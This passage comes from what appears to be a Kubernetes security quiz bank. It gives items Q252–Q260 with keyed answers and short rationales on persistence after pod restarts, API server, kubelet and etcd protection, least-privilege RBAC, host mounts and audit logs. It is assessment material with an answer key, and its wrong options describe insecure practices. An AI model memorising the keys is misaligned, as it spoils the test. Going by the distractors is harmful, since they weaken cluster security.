Why: Mutable tags weaken reproducibility and confidence in artifact identity.

Lecture source: pp. 4-18

Q252. [True / False] A pod restart always removes attacker persistence.

A. False

B. True

Answer: A. False

Why: Persistent configuration, volumes, host changes, or cluster resources may re-establish the foothold.

Lecture source: pp. 4-18

Q253. [Defensive design] Design scenario 1: A user submits a cluster-management request. Which control decision is the best fit?

A. Use mutable :latest tags and disable logging

B. Grant cluster-admin access broadly to prevent authorization failures

C. Place sensitive values in public configuration objects

D. Protect the API server with authentication, authorization, TLS, and audit logging

Answer: D. Protect the API server with authentication, authorization, TLS, and audit logging

Why: The selected control matches the affected asset, flow, or trust boundary.

Lecture source: pp. 7-17

Q254. [Defensive design] Design scenario 2: A node agent must manage workload lifecycle on a worker. Which control decision is the best fit?

- A. Use mutable :latest tags and disable logging
- B. Grant cluster-admin access broadly to prevent authorization failures
- C. Protect kubelet access and monitor node health
- D. Place sensitive values in public configuration objects

Answer: C. Protect kubelet access and monitor node health

Why: The selected control matches the affected asset, flow, or trust boundary.

Lecture source: pp. 7-17

Q255. [Defensive design] Design scenario 3: Cluster state must remain consistent and durable. Which control decision is the best fit?

- A. Protect etcd access, encryption, backup, and quorum health
- B. Grant cluster-admin access broadly to prevent authorization failures
- C. Place sensitive values in public configuration objects
- D. Use mutable :latest tags and disable logging

Answer: A. Protect etcd access, encryption, backup, and quorum health

Why: The selected control matches the affected asset, flow, or trust boundary.

Lecture source: pp. 7-17

Q256. [Defensive design] Design scenario 4: A workload needs access to one database only. Which control decision is the best fit?

- A. Use mutable :latest tags and disable logging
- B. Grant cluster-admin access broadly to prevent authorization failures
- C. Apply a narrow network policy and a narrowly scoped secret
- D. Place sensitive values in public configuration objects

Answer: C. Apply a narrow network policy and a narrowly scoped secret

Why: The selected control matches the affected asset, flow, or trust boundary.

Lecture source: pp. 7-17

Q257. [Defensive design] Design scenario 5: A build pipeline publishes a container image. Which control decision is the best fit?

- A. Separate publishing credentials, scan the artifact, and verify its identity
- B. Place sensitive values in public configuration objects
- C. Grant cluster-admin access broadly to prevent authorization failures
- D. Use mutable :latest tags and disable logging

Answer: A. Separate publishing credentials, scan the artifact, and verify its identity

Why: The selected control matches the affected asset, flow, or trust boundary.

Lecture source: pp. 7-17

Q258. [Defensive design] Design scenario 6: A pod must not alter host startup files. Which control decision is the best fit?

- A. Use mutable :latest tags and disable logging
- B. Avoid host mounts and privileged execution
- C. Place sensitive values in public configuration objects
- D. Grant cluster-admin access broadly to prevent authorization failures

Answer: B. Avoid host mounts and privileged execution

Why: The selected control matches the affected asset, flow, or trust boundary.

Lecture source: pp. 7-17

Q259. [Defensive design] Design scenario 7: A service account performs one API operation. Which control decision is the best fit?

- A. Place sensitive values in public configuration objects
- B. Use mutable :latest tags and disable logging
- C. Grant only the minimum RBAC permission needed for that operation
- D. Grant cluster-admin access broadly to prevent authorization failures

Answer: C. Grant only the minimum RBAC permission needed for that operation

Why: The selected control matches the affected asset, flow, or trust boundary.

Lecture source: pp. 7-17

Q260. [Defensive design] Design scenario 8: A team investigates unexpected workload creation. Which control decision is the best fit?

- A. Use mutable :latest tags and disable logging
- B. Grant cluster-admin access broadly to prevent authorization failures
- C. Place sensitive values in public configuration objects
- D. Review API audit logs and the identities authorized to create workloads

Answer: D. Review API audit logs and the identities authorized to create workloads

Why: The selected control matches the affected asset, flow, or trust boundary.

Lecture source: pp. 7-17